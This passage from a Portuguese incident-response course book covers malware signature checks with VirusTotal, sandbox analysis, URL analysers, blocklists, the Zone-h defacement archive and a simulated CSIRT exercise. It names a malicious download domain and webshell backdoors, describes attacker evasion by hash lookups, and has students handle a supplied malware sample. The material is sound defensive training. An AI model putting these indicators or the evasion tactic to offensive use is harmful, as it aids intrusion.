URLs em busca de facilitar a detecção rápida de arquivos maliciosos. Embora a VirusTotal tenha incorporado uma série de novas análises adicionais, após a sua aquisição pelo Google, este capítulo vai ater-se apenas a análise de assinaturas de arquivos suspeitos. O primeiro passo é submeter o arquivo diretamente ao serviço online. Para isso, o

q

VirusTotal permite a submissão de arquivos utilizando diferentes mecanismos: 11 Submissão via website: a maneira mais comum de submeter arquivos para análise é através da interface web. Dessa forma, o usuário pode enviar arquivos para análise sem gerar alertas dos sistemas de segurança – tal como filtros e IDS – usando o protocolo HTTPS; 11 Submissão via e-mail: o usuário pode compor uma mensagem de e-mail anexando o arquivo a ser analisado. Como resultado, será enviada uma mensagem com o resultado para o mesmo remetente; 11 Submissão via aplicativos: através de uma interface disponibilizada, é possível desenvolver ferramentas para submissão. Existem algumas ferramentas desenvolvidas para a submissão de arquivos, tais como; extensões de browser, aplicativos para celulares, aplicativos de desktop, entre outros. Cada arquivo submetido é analisado por todos os sistemas antivírus disponibilizado pelo VirusTotal. Caso o mesmo arquivo (mesmo hash criptográfico) já tenha sido submetido ao VirusTotal, é possível: 11 Forçar uma nova análise;


11 Exibir o relatório da última análise realizada.

170

A seguir ilustra um exemplo da interface do VirusTotal com o resultado de uma análise.

q

Figura 8.5 Resultado de uma análise de um malware (bot. exe) no serviço VirusTotal.

Como pode ser observado, o malware analisado (bot.exe) foi verificado por 46 diferentes antivírus e foram encontradas assinaturas para o malware em 42 deles. Significa que 4 sistemas de antivírus não identificaram o arquivo como malicioso. O relatório descreve informações relativas ao sistema de antivírus utilizado, a versão do software, a última atualização da base de dados de vacinas, e o tipo de assinatura detectado. A análise nos diferentes sistemas é útil para a comparação da eficiência dos diferentes sistemas de antivírus em relação ao um arquivo malicioso em específico. Além da submissão de arquivos, o VirusTotal permite consultar a análise de arquivos já examinados utilizando um hash criptográfico (MD5, SHA1, SHA256) do binário. Esse recurso permite apenas obter a análise de um determinado arquivo previamente efetuada; no


entanto, não é possível obter o arquivo executável originalmente submetido.

171

172


Roteiro de atividades 8 Atividade 8.1 – Virustotal Utilize o malware fornecido (bot.exe) e submeta para o VirusTotal. Responsa as questões a seguir: a. A data da primeira submissão do arquivo no serviço VirusTotal:

b. Que antivírus não detectaram o arquivo bot.exe como arquivo malicioso.

Análise comportamental Além da busca por assinaturas de um arquivo malicioso, é possível analisar um binário usando outras abordagens como, por exemplo, a análise comportamental. A análise comportamental consiste em traçar as ações desempenhadas por um arquivo binário no Sistema Operacional no qual é executado. Essa análise do funcionamento de arquivos binários pode ser realizada de duas diferentes maneiras: de forma estática ou dinâmica. A análise estática consiste em avaliar o funcionamento de um programa sem sua execução, baseando-se apenas no seu código executável. As técnicas mais tradicionais consistem em extrair instruções do código assembler do programa e inferir conclusões com base na sequência das instruções. No entanto, a principal deficiência desse método é a possibilidade do código de máquina analisado não refletir o mesmo comportamento que o malware apresenta quando executado. O comando strings, por exemplo, pode ser utilizado para obter mais informações de um arquivo sem executar o mesmo:

$ strings /tmp/NotaFiscal.exe

<...> “network.proxy.autoconfig_url”

“network.proxy.ftp_port” “network.proxy.ftp” <...> Como ilustrado, o resultado dos comandos strings exibe todos os caracteres que podem ser visualizados contidos no arquivo executável. O fragmento citado anteriormente descreve funções instanciadas pelo malware. Nesse caso, são exibidas funções que alteram a configuração de rede, mas especificamente a configuração do proxy.


“network.proxy.no_proxies_on”

173

A análise estática é pouco eficiente para programas que utilizam técnicas de ofuscação ou polimorfismo, como é o caso do malware Conficker. Nesses casos, a análise do arquivo pode dispender maior tempo de análise e mão de obra especializada. Sendo assim, a análise estática apresenta limitações para malwares mais complexos, o que motivou o surgimento de técnicas complementares, como é o caso da análise dinâmica. A análise dinâmica, por outro lado, consiste em observar as características funcionais do malware através da sua execução em um ambiente controlado. As principais metodologias de análise dinâmica baseiam-se em: 11 Comparação do status do Sistema Operacional antes e imediatamente após a execução do arquivo; 11 Monitoração das ações em tempo de execução. Na primeira abordagem, busca-se fazer uma comparação do Sistema Operacional completo identificando alterações causadas pelo arquivo binário executado. Como resultado, essa técnica traça uma visão geral das funcionalidades do binário, como arquivos criados, dados removidos, entre outros. Essa solução, entretanto, não determina mudanças dinâmicas intermediárias ao estado inicial e final da comparação do sistema. Mudanças como a criação de arquivos durante a execução e a deleção de arquivos antes do final do processo são transparentes a essa análise. Por outro lado, na segunda abordagem cuja monitoração das ações do malware é dada durante a execução, tais ações são traçadas. Mesmo sendo mais complexa de implementar, a análise de binários durante sua execução vem popularizando-se devido ao bom resultado da técnica perante códigos polimórficos e ofuscados. A principal limitação da análise dinâmica de malware é a possibilidade de executar apenas uma amostra de binário de cada vez. Afinal, a execução de outros binários no mesmo ambiente controlado dificulta a distinção das ações de cada malware. Com a utilização de tecnologias de virtualização de sistemas, a análise dinâmica de malwares ganhou outra dimensão. De fato, a facilidade de reconstruir um ambiente virtualizado permitiu o surgimento de ferramentas mais detalhistas e escaláveis para a análise dinâmica, como é o caso dos sandboxes. Sandbox Sandboxes são sistemas automatizados para análise de malware onde se busca executar as ações de um malware em um sistema isolado, geralmente através do uso de uma máquina virtual. Dessa forma, é possível identificar ações executadas por um arquivo suspeito sem comprometer um sistema em produção.


Tipicamente, os sandboxes são utilizados para processar um grande número de malwares

174

e obter características de um arquivo suspeito. Essa análise inicial permite identificar certas ações suspeitas desempenhadas pelo arquivo analisado e classificá-lo como malicioso. Os sandboxes são muito utilizados para efetuar uma análise instantânea das ações do malware evitando, muitas vezes, que técnicas mais sofisticadas, tal como engenharia reversa, seja demandada. Em ambientes com equipes com tamanho reduzido, é importante que um sandbox seja fácil de ser utilizado e forneça um resumo de alto nível das atividades maliciosas conduzidas durante a análise. Isso faz com que o malware seja mais acessível e permite que qualquer pessoa possa conduzir os primeiros estágios da investigação. No caso de obter dados interessantes, o caso pode ser repassado para análise do time ou para parceiros externos.

Evidentemente que a implementação de soluções baseadas em sandbox requer cuidados especiais de segurança, tais como restrição de acesso à rede. Existem algumas soluções no mercado que permitem o próprio CSIRT implementar um sandbox local e automatizar boa parte das tarefas de análise. Por outro lado, existem diversas ferramentas automatizadas para análise de malware disponível na web, cada qual com suas características e funcionalidades. Na sequência, são apresentadas algumas ferramentas disponibilizadas para análise de malware de forma gratuita: 11 Anubis: http://anubis.iseclab.org/ 11 Malwr: https://malwr.com/submission/ 11 Comodo: http://camas.comodo.com/ 11 EUREKA: http://eureka.cyber-ta.org/ 11 ThreatExpert: http://www.threatexpert.com/submit.aspx 11 ThreatTrack: http://www.threattracksecurity.com/resources/sandbox-malware-analysis.aspx 11 ViCheck: https://www.vicheck.ca/ 11 Xandora: http://www.xandora.net/xangui/ Como característica, os sandboxes tradicionalmente simulam o Sistema Operacional Windows, afinal, a grande maioria de malwares existentes é escrita para esse sistema. Funções comuns observadas pelo sandbox descrevem funcionalidades como: 11 Arquivos criados ou modificados; 11 Acessos ou modificações a chave do registro do sistema; 11 Bibliotecas dinâmicas carregadas; 11 Áreas da memória virtual utilizada; 11 Processos criados; 11 Conexões de rede instanciadas; 11 Dados transmitidos pela rede. Os relatórios disponibilizados pelos sandboxes podem variar bastante devido a particularidades de implementação. Características como o Sistema Operacional no qual o arquivo suspeito é executado; arquitetura implementada; e o conjunto de chamadas de sistema monitorado pelo sandbox reflete diretamente no relatório disponibilizado pela ferramenta. O sandbox Anubis, por exemplo, é uma ferramenta para análise de malwares disponível gratuitamente na web que permite análise de arquivos executáveis para a plataforma Windows e também aplicações para sistemas Android. Para isso, o Anubis utiliza como base o software Qemu, que permite emular Sistemas Operacionais e monitorar chamadas de sistemas detalhado das funcionalidades do arquivo suspeito analisado.


instanciadas pelos arquivos analisados. Como resultado, é disponibilizado um relatório

175

Figura 8.1 Fragmento de um relatório das ações de um malwares disponibilizado pelo sandbox Anúbis.

A figura ilustra um fragmento de um relatório de análise disponibilizado pelo Anubis. Como pode ser visto, na parte superior (Summary) são descritas as principais ações desempenhadas pelo arquivo analisado. Essas informações são compostas com base nas chamadas de sistema solicitadas pelo arquivo durante sua execução no ambiente controlado. Diferentemente do sandbox Anubis, o sandbox de código aberto Cuckoo Sandbox integra as plataformas mais comuns de virtualização como VirtualBox e VMware para executar e registrar atividades desempenhadas por um arquivo suspeito. Dessa forma, é possível utilizar as plataformas de virtualização para especificar qual o Sistema Operacional será emulado (Windows ou Linux) pelo sandbox. Portanto, o Cuckoo permite instanciar diversas máquinas virtuais com as mais diferentes configurações de Sistemas Operacionais e arquiteturas. O Cuckoo também permite interagir durante a execução do malware. Em alguns casos, certas funcionalidades de malwares só são ativadas em situações específicas, tal como


acesso a um website bancário.

176

Por tratar-se de um software livre e de código aberto, o Cuckoo Sandobox permite com que todo o seu sistema seja copiado para um servidor e instanciado localmente. Sendo, portanto, muito útil para montar um laboratório de análise de malware de uma instituição. Do contrário, sem a necessidade de instalar o sistema, é possível usar serviços online que implementam a ferramenta Cuckoo via interface web. Um exemplo é o site Malwr: https://malwr.com/ O Malwr funciona como uma interface para o sandbox Cuckoo. Todo arquivo submetido via interface web instancia uma máquina virtual e ativa o serviço de análise. Como resultado, é exibida uma página web com as características de execução do arquivo analisado (vide figura 8.7). O Malwr mantém uma base de dados com informações de todos os malwares já submetidos ao sistema. Através de uma consulta do código hash de um arquivo executável é possível

visualizar quando foi à última análise do mesmo, ou ainda, se identificar que o arquivo executável submetido nunca foi analisado pelo sistema.

Figura 8.2 Fragmento do relatório das ações de um malware disponibilizado pelo sandbox Malwr.

A imagem apresenta um fragmento do relatório de funcionalidades de um malware analisado pelo serviço Malwr. Como resultado, é possível ter uma visão geral das funcionalidades do malware incluindo análise estática, análise comportamental, análise de rede e arquivos obtidos (dropped files). O relatório é agrupado em categorias, onde é possível visualizar mais detalhes do arquivo analisado. Por fim, os relatórios fornecidos por algumas ferramentas são bastante descritivos e permitem uma visão razoável quanto às ações de um arquivo executável. As diferentes técnicas de análise de arquivos binários recém-descritas possuem o mesmo objetivo: lidar com a árdua tarefa de identificar as funcionalidades de um arquivo executável. A utilização das distintas metodologias, em particular, pode ser combinada e permitir que o CSIRT obtenha mais informações relativas ao incidente a ser investigado.

Atividade 8.2 – Análise dinâmica de arquivos maliciosos (Anubis ou Malwr). Responda as seguintes perguntas: a. Quais são as principais funcionalidades do arquivo bot.exe?


Utilize o malware fornecido (bot.exe) e submeta para um dos serviços recém-descritos

177

b. O sandbox mapeou alguma atividade de rede desempenhada pelo malware?

c. Quais softwares são afetados pelo malware?

Considerações sobre o uso de ferramentas online Sandboxes e antivírus online podem fornecer uma primeira impressão de maneira fácil de arquivos desconhecidos. Na maioria dos casos, a utilização desses serviços requerer poucas habilidades do usuário. Afinal, tais serviços têm foco na usabilidade dos usuários e são especificados justamente para ocultar a complexidade dos sistemas de análise, muito embora existam sistemas mais complexos com alto nível de parametrização e customização. Sabe-se que esses serviços são muito utilizados para uma análise rápida de arquivos; no entanto, devem-se compreender os riscos associados a esses serviços. Mesmo que um arquivo não seja detectado como malicioso pelos sistemas de varredura (antivírus ou sandboxes), isso não necessariamente significa que se trata de um arquivo não malicioso. O contrário também é verdadeiro: caso o arquivo seja avaliado como malicioso por alguns softwares, isso não significa que se trata de um arquivo malicioso. É essencial lembrar que boa parte dos serviços gratuitos online compartilham as informações com terceiros. Logo, instituições com informações críticas – segurança nacional, por exemplo – devem reconsiderar o uso desses serviços. Afinal, alguns malwares são desenvolvidos para alvos específicos e podem conter informações sensíveis de uma instituição embutidos em si, tal como senhas, IPs e URLs. Essas ferramentas de análise, além de compartilhar informações com terceiros (empresas de segurança e fabricantes de antivírus), disponibilizam de forma pública os resultados. Todos os usuários podem consultar as informações dos malwares analisados pelo sistema, inclusive o próprio autor do malware. Nada impede que um atacante possa utilizar os sis-


temas de análise de arquivos online como uma fonte de informação.

178

Um atacante mais experiente pode desenvolver um malware específico – com único hash criptográfico (md5) – destinado a uma instituição. Após um período, o próprio atacante pode consultar em ferramentas online pelo hash criptográfico e, com isso, saber se o malware foi identificado. Dessa forma, o atacante pode aperfeiçoar suas técnicas de evasão e aprimorar suas táticas para conseguir o seu objetivo.

Analisadores de websites De forma análoga aos serviços que analisam arquivos binários, é possível encontrar ferramentas especializadas na análise de conteúdo web. Alguns serviços buscam auxiliar na identificação de websites com conteúdos maliciosos, compreendendo:

l Falso positivo e falso negativo são sempre um risco para sistemas de detecção. Por exemplo, alguns antivírus classificam plug-ins lícitos de segurança bancária como malicioso. Por outro lado, certos arquivos maliciosos não caracterizados como legítimos por ainda não possuírem assinatura nos sistemas de segurança.

11 Drive-by-download; 11 Arquivos flash maliciosos; 11 Javascript maliciosos; 11 Applets; 11 iframes ocultos; 11 Cross Site Scripting (XSS); 11 Redirecionamentos maliciosos; 11 Backdoors (e.g., C99, R57 e Webshells). Tipicamente, os serviços de análise recebem como entrada uma URL para ser processada pelo sistema. A partir desse momento, a ferramenta acessa a URL especificada utilizando um ambiente controlado (sandbox), que podem ser configurados de diferentes formas para avaliar um website suspeito. A configuração dos sistemas pode ser útil para identificar conteúdos maliciosos destinados a um determinado alvo, como por exemplo: um navegador particular (User-Agent), plug-ins com versões específicas (Java) ou ainda determinados Sistemas Operacionais. Uma das ferramentas mais populares para análise de conteúdo é o Wepawet. O Wepawet é um serviço online gratuito que busca analisar as ações desencadeadas por uma página web quando acessada. Para isso, são utilizadas diferentes técnicas e abordagens a fim de mapear possíveis ações maliciosas no Sistema Operacional que acessa um site possivelmente comprometido. Para cada URL submetida, o Wepawet, instancia um browser em um sistema virtualizado e mapeia todas as modificações ocorridas no Sistema Operacional virtual. Através de uma heurística, o sistema determina se o site é malicioso ou não. Dessa forma, diferentes tipos de ataques podem ser determinados sem o comprometimento de um sistema de produção. Como comentado, certos ataques são direcionados a um conjunto específico de clientes que acessam o website. Para lidar com isso, o Wepawet permite inserir cabeçalhos (REFER) e configurar um servidor proxy a ser utilizado na análise. Além do Wepawet, existem outras ferramentas com funcionamento similar para analisar o conteúdo de website maliciosos: 11 http://urlquery.net/report.php


11 http://sitecheck.sucuri.net/

179

A imagem ilustra o resultado de uma análise disponibilizada pela ferramenta urlQuery. Na parte superior, são exibidos alguns detalhes da análise, tal como: informações do domínio da URL; a configuração utilizada pelo browser que acessou a URL analisada; e Tratamento de Incidentes de Segurança

assinatura maliciosa detectada por um sistema IDS. Já na parte inferior é possível visualizar

180

as transações HTTP desencadeadas pelo website. Como destacado, o site “asabrasil.org.br” faz uma requisição de download para um arquivo malicioso hospedado em “nemohildiin.ru”. Isso pode identificar um ataque denominado driven-by-download comprovante que o website original possivelmente foi comprometido. Assim como outros serviços baseados em sandboxes, as soluções não fornecem detecção 100% do conteúdo malicioso. Algumas técnicas podem ser utilizadas para identificar um sistema virtualizado (sandbox), fazendo com que a análise de arquivos apresente resultados imprecisos. Além do mais, certas configurações do sandbox podem ser incompatibilidades com o esperado pelos atacantes deixando o conteúdo malicioso dormente.

Figura 8.3 Análise usando a ferramenta urlQuery demonstrando um ataque do tipo “driven-bydownload”.

Outros serviços online Além dos serviços de análise de malware e de website, existe um conjunto de serviços online e gratuitos que podem ser utilizados para obter mais informações sobre um incidente investigado. Nesse contexto, podem ser utilizados os mais diversos serviços, tal como listas de bloqueio e repositórios de websites desfigurados.

Listas de bloqueio São listas que descrevem recursos de rede – IPs, blocos de endereçamento, URLs e domínios – relacionados com atividade maliciosa. Boa parte dessas informações é provida por instituições que constantemente fazem análise de malwares, spams e phishings. Dessa forma, é possível ter uma lista com informações atualizadas dos principais recursos comprometidos identificados pelas diversas instituições. Essas listas de bloqueio – usualmente referenciadas black list – são segmentadas em diferentes categorias: 11 Máquinas originadoras de spams; 11 Máquinas infectadas por um determinado malware; 11 Websites com conteúdo malicioso; 11 Website utilizados em fraudes. As listas de bloqueio, em sua maioria, são independentes. Logo, é perfeitamente factível encontrar um recurso de rede replicado nas mais diversas categorias. Por exemplo, um IP que foi detectado como originador de spam provavelmente estará presente em uma lista de “máquinas originadoras de spams”. Da mesma forma, se o mesmo IP estiver comprometido e está atuando como um controlador de botnet, o mesmo pode ser mapeado também para uma lista de “máquinas infectadas”. Logo, utilizar essas fontes de informações de listas de bloqueio podem revelar valiosas informações sobre um IP ou domínio em questão. Nem sempre essas informações das diferentes listas podem ser compostas de forma unificada. Quando se deseja consultar informações relativas a certos recursos comprometidos, é necessário buscar nas mais diversas listas, o que pode ser trabalhoso. Felizmente, existem alguns serviços online onde é possível buscar por informações de bloqueio em múltiplas listas ao mesmo tempo, como por exemplo: Um desses serviços é o projeto “Anti-Abuse”. 11 Anti-Abuse: http://www.anti-abuse.org/ 11 SPAM database loookup: http://www.dnsbl.info/ mação em múltiplas listas de bloqueio. Atualmente o website indexa mais de 50 listas de bloqueio. A busca em múltiplas listas revela rapidamente se um IP ou domínio foi identificado como originador de ações maliciosas. É importante notar que, mesmo que o IP ou domínio não esteja listado em uma lista de bloqueio, não significa que está seguro. Do contrário, quando um IP é listado em múltiplas listas de bloqueio, podemos supor que existem fortes indícios de um comprometimento. Algumas listas de bloqueio populares são: 11 The Spamhaus Block List: http://www.spamhaus.org/sbl/index.lasso 11 A spam blacklist made in Switzerland: http://dnsbl.abuse.ch 11 SpamCop: http://www.spamcop.net/


O Anti-Abuse disponibiliza um website onde é possível automaticamente buscar uma infor-

181

11 Google Safe Browsing: https://developers.google.com/safe-browsing/ 11 Phish Tank: http://www.phishtank.com/ 11 Yandex: http://help.yandex.com/mail/account/white-list-and-black-list.xml 11 Malware Patrol: http://www.malware.com.br/ É importante ressaltar que as listas de bloqueio podem ser mantidas por empresas comerciais ou por grupos de voluntários. Cada uma tem suas particularidades, tais como: critérios para ser listado; e maneiras de remover um endereço listado. Além de descreve os IPs e nomes possivelmente comprometidos, alguns administradores utilizam block lists em dispositivos de redes (firewall, roteadores, servidores de e-mail) para sumariamente bloquear acesso aos sistemas. Logo, IPs listados em block lists podem ter problemas para acessar determinados IPs. A política de uso de listas é diferente para cada administrador de rede. Alguns utilizam poucas listas e outros, muitas listas. Por fim, deve-se evitar serem listados por uma lista de bloqueio para que os acessos de sua organização não sejam limitados por outras instituições. E, quando for o caso, consulte os procedimentos de remoção da própria lista em que um dos seus recursos foi listado.

Atividade 8.3 – Pesquisando por sites relacionados com fraudes a. Acesse o site do Phishing Tank [1] e busque por phishings relacionados a bancos brasileiros. Qual foi o último phishing relativo ao Banco do Brasil? [1] http://www.phishtank.com/target_search.php

b. Acesse o website do Phishing Tank [2] e localize todos os phishings ativos relacionados ao AS da RNP (AS 1916). Existe algum phishing válido e online? Qual é o alvo do phishing? [2] http://www.phishtank.com/asn_search.php

Repositório de websites desfigurados Zone-h é uma base de dados de websites desfigurados. O portal Zone-h permite que qualquer usuário, incluindo o próprio atacante, reporte URLs de páginas comprometidas. Assim


que uma URL entra no sistema, o site correspondente à URL é clonado pelos servidores do Zone-h e verificado manualmente pela equipe do Zone-h. Dessa forma, toda URL submetida é verificada em busca de falsos positivos. O Zone-h disponibiliza uma base de dados com: a) website a serem verificados (on-hold) e, b) websites com desfiguração confirmada (arquive). Segundo o próprio portal, o objetivo é observar tendências e mapear características dos ataques, tal como aplicações e vulnerabilidades exploradas nos ataques. Entre os principais utilizadores do portal estão grupos de cibercriminosos ou ativistas que utilizam o Zone-h como um ranking. Dessa maneira, para cada desfiguração realizada, o próprio atacante encarrega-se de reportar ao portal Zone-h. Como resultado, o Zone-h apresenta um ranking dos principais reportadores (grupos de hackers) e o respectivo número de desfigurações. 182

Apenar de ser um portal bastante controverso e, até mesmo banido em alguns países, o Zone-h pode ser utilizado como mais uma fonte de informações sobre possíveis comprometimentos. Por exemplo, é possível consultar por um website comprometido mesmo que não esteja mais online. A figura ilustra detalhes dos últimos websites comprometidos apresentando o usuário que notificou (notifier), URL do website, Sistema Operacional do servidor que hospeda a página alterada (OS) e uma cópia do website alterado (mirror).

Atividade 8.4 – Identificar servidores que já foram comprometidos utilizando a base de dados do zone-h Acesse a base de dados do zone-h em busca de sites comprometidos: Acesse: http://www.zone-h.org/ Menu: “Attack Archive” Verifique a existência de websites desfigurados relacionados com o Brasil, ou seja, domínios terminados com “.br”. Identifique o último site desfigurado (.br) inserido na base do zone-h.


Figura 8.4 Base de dados com websites que foram ou estão desfigurados.

183

Análise de artefatos Mesmo não sendo o escopo deste capítulo, é interessante ter uma visão das ferramentas que podem ser úteis em casos que exigem uma análise mais aprofundada de artefatos. A tabela a seguir sumariza algumas ferramentas que podem ser utilizadas para analisar os mais diversos arquivos suspeitos e assim pode ser utilizada como ponto de partida para iniciar a investigação de incidentes mais complexos. Lembre-se de que a Escola Superior de Redes (ESR) possui um curso próprio de análise de malware. Funcionalidade

Ferramentas de análise

Decodificar JavaScript

Firefox Firebug, Rhino debugger, JS-Beautify, SpiderMonkey, V8, Windows Script Decoder e Jsunpack

Analisar arquivos Flash

SWFTtools, flasm, flare e RABCDAsm

Analisar executáveis suspeitos

Upx, packerid, xorsearch, xortool, ClamAV, ssdeep, md5deep, pescanner, pev, pyew e bytehist

Analisar documentos maliciosos

Pdftk, Origami Framework, PDF X-RAY, Peedpdf, Jsunpack e OfficeMalScanner

Analisadores de memória

Volatility, bulk_extractor, AESKeyFinder, RSAKEyFinder

Leitura recomendada: 11 Malware Analyst’s Cookbook: Michael Ligh, Steven Adair; 11 Provos, Niels, and Thorsten Holz. Virtual honeypots: from botnet tracking to intrusion detection. Pearson Education, 2007; 11 Free Automated Malware Analysis Services http://zeltser.com/reverse-malware/automated-malware-analysis.html

Atividade 8.5 – Diferentes formas de ocultar o IP de origem a. Quais são os principais recursos e ferramentas para ocultar o IP de origem evitando que


o endereçamento do seu CSIRT seja mapeado por um atacante?

184

Atividade 8.6 – Privacidade a. Discuta os riscos à privacidade ao usar um sistema de DNS público (OpenDNS ou Google DNS) para resolver nomes dos acessos de um CSIRT, mesmo que esses acessos se deem por meio de um servidor proxy. ___________________________________________________________________________________

Atividade 8.7 – Uso de proxies a. Discuta as principais vantagens de utilização de proxy no processo de resposta a incidentes.

b. Acesse algum serviço [1] de web proxy e discuta as suas principais características, tal como: encriptação de URL, encriptação de página:


[1] https://incloak.com/

185

Atividade 8.8 – Deep Web Essa atividade busca apresentar formas de acessar a Deep Web, mas especificamente acessar serviços hospedados na rede Tor. Siga os passos a seguir e responda as questões subsequentes. a. Instalação do Browser Tor Bundle Acessar o website do projeto Tor: https://www.torproject.org/projects/torbrowser.html

1. # xz –d tor-browser-linux32-X_en-US.tar.xz # tar -xvf tor-browser-linux32-X_en-US.tar 2. # cd tor-browser_en-US/ 3. # ./start-tor-browser *Não é necessário ser super-usuário para instalar o browser. ** Caso seja necessário, o software de compressão xz pode ser instalado:

# sudo apt-get install xz Após a execução do browser, acesse a página de teste para certificar-se de que o sistema Tor está em funcionamento: https://check.torproject.org


Figura 8.5 Verificação da rede TOR.

186

b. Através do browser Tor, acesse o site a seguir e identifique o seu endereço IP de saída: http://www.meuip.com.br/

c. Através de mecanismos de busca, identifique websites hospedados em domínios “.onion”. O que os domínios “.onion” representam? Esses websites são acessíveis via internet convencional?


d. Existem serviços de conversação (chat/IRC) sendo executados sobre a rede Tor?

187

188


9 Realizar a dinâmica de tratamento de incidentes; Levantar questões relacionadas ao processo de tratamento de incidentes; Vivenciar as etapas necessárias para o tratamento de incidentes.

conceitos

Tratamento de incidentes; O papel de um CSIRT dentro de uma organização.

Introdução Este capítulo consiste em uma dinâmica de tratamento de segurança que será realizada em equipes. O objetivo dessa dinâmica é exercitar os conceitos e técnicas apresentados no curso em um evento de segurança simulado. Para isso, é importante considerar:

q

11 A atividade será realizada em equipes independentes; 11 A equipe representará o CSIRT da instituição financeira; 11 A equipe deve eleger um representante para comunicar as ações do CSIRT; 11 Os grupos podem demandar ações para investigar o incidente; 11 Todas as informações devem ser solicitadas diretamente ao instrutor ou monitor através do representante do time; 11 Evite olhar o material – trate essa dinâmica como um incidente em andamento.

Contextualização Nesta atividade, o seu grupo representará o time de resposta a incidentes de uma

q

instituição financeira denominada CARTEX. A instituição que o seu CSIRT representa é uma empresa de grande porte no setor de autorização de transações bancárias usando cartões de crédito dos mais diversos consumidores. O faturamento anual da empresa supera R$ 1 bilhão, o que posiciona a empresa como uma das líderes do mercado do pagamento eletrônico, e possui as suas ações negociadas tanto na Bolsa de Valores de São Paulo (BM&FBOVESPA) quanto na Bolsa de Valores de Nova York (NYSE).


objetivos

Dinâmica de tratamento de incidentes

189

Como se sabe, a área financeira é muito visada por fraudadores e atacantes que buscam aplicar golpes com motivações financeiras. No último ano, entretanto, a sua empresa foi comprometida, o que causou enormes prejuízos para empresa. Além do desgaste da imagem institucional, as ações da empresa sofreram grande desvalorização quando o incidente tornou-se público.

Figura 9.1 Repercussão do ataque à instituição.

Como resultado, todo o departamento de TI foi restruturado. Em especial, a equipe de resposta a incidente foi reorganizada e posicionada em uma posição estratégica no organo-


grama da empresa.

190

SIFRA O time de resposta a incidentes de seguranças da empresa SIFRA já está estabelecido e é

q

denominado SIFRA. Nesta dinâmica, o seu grupo atuará no contexto do CSIRT SIFRA. Para isso, é importante descrever algumas características do próprio grupo estabelecido. Como comentado, o SIFRA, possui uma estratégica na organização da estrutura da empresa, como pode ser observado na figura a seguir. O atual CIO da empresa dá total apoio ao SIFRA e qualquer incidente de segurança é reportado na reunião do conselho executivo, na presença dos demais diretores.

Presidência

SIFRA

Coordenação de projetos

Figura 9.2 Estrutura organizacional da empresa CARTEX.

Missão do SIFRA “Prover resposta rápida e eficaz para qualquer problema de segurança que envolva a empresa, limitando os eventuais danos a níveis aceitáveis e reportando qualquer fraude para a diretoria executiva dentro de um período máximo de 12 (doze) horas.” Abrangência operacional “Redes, endereços IP e domínios atendidos pela CARTEX.” A sua equipe é responsável por coordenar as atividades de segurança entre os diferentes departamentos das instituições, incluindo filiais localizadas em outros estados. Todas as informações de segurança são centralizadas no SIFRA, que é responsável pela comunicação com os demais departamentos. Como resultado, o SIFRA encarrega-se de produzir um


resumo executivo de todas as atividades e apresentá-lo semanalmente à diretoria executiva.

191

Tratamento de incidentes de segurança O exercício de tratamento de incidentes de segurança começa agora. A partir desse momento, cada grupo tomará suas decisões de forma independente, sempre seguindo as instruções do professor/monitor. Com a evolução das investigações, a equipe receberá novas evidências que ajudaram o SIFRA a avaliar melhor o incidente de segurança como um todo. Fatos iniciais: 11 Hoje é 10 fevereiro de 2014, 9h da manhã; 11 Na caixa de e-mails do CSIRT, são encontradas diversas mensagens, entre elas:

From: [email protected] To: [email protected] Subject: Máquina enviando spam - 10.10.10.20 Date: Fri, 7 Feb 2014 18:54:10 -0200 (BRST)

Senhores,

Recebemos inúmeros e-mails fraudulentos oriundos da máquina 10.10.10.20. Abaixo a mensagem que foi recebida.

Atenciosamente, -CSIRT

----- Forwarded message from “Webmail.universidade.exemplo.com. br” ----Delivered-To: [email protected]


<....>

192

Além dessa mensagem, são encontradas outras duas mensagens relativas ao mesmo assunto. Neste momento o seu grupo receberá as três mensagens impressas: 11 Prova A1; 11 Prova A2; 11 Prova A3. A partir desse momento, a atividade continuará com base nas suas respostas aos questionamentos anteriores. Cada ação terá uma reação, e possivelmente novas informações são disponibilizadas a equipe pelo instrutor/monitor.

q

Roteiro de atividades 9 Atividade 9.1 – Reunião Diante da diretoria, um integrante descreverá a real situação do incidente sendo investigado. Lembre-se de alguns aspectos importantes: O incidente está sob investigação: isso significa que novas provas podem mudar totalmente o rumo da investigação. A mesa é composta por pessoas com diferentes áreas de conhecimento. Atenha-se a fatos relevantes e utilize termos não técnicos Análise as informações críticas das mensagens e tente entender o que está acontecendo. A seguir algumas questões que o CSIRT deve responder na primeira reunião com a diretoria da empresa CARTEX: 1. Com base nessas informações, o que o SIFRA deve fazer? 2. Qual procedimento adotar em relação a notificação recebida pela universidade? 3. Qual será a resposta a ser dada ao gerente? 4. Quais informações o SIFRA deve buscar? Para não revelar mais informações sobre o incidente e não prejudicar a investigação, as


demais tarefas serão passadas diretamente pelo instrutor do curso.

193

LIVRO DE APOIO AO CURSO

O livro oferece formação prática e aprendizado teórico mação e de TIC que necessitem desenvolver competências e habilidades para iniciarem a área de Tratamento de Incidentes, implementarem e estabelecerem uma Equipe de Tratamento e Resposta a Incidentes em Redes apto a criar e gerenciar uma equipe de respostas a incidentes de segurança, como também, a utilizar as técnicas e ferramentas para tratamento de incidentes. Este livro inclui os roteiros de atividades práticas e o conteúdo dos slides apresentados em sala de aula, apoiando suas organizações ou localidades de origem.

ISBN 978-85-63630-19-3

9 788563 630193

Tratamento de Incidentes de Segurança

Recommend Documents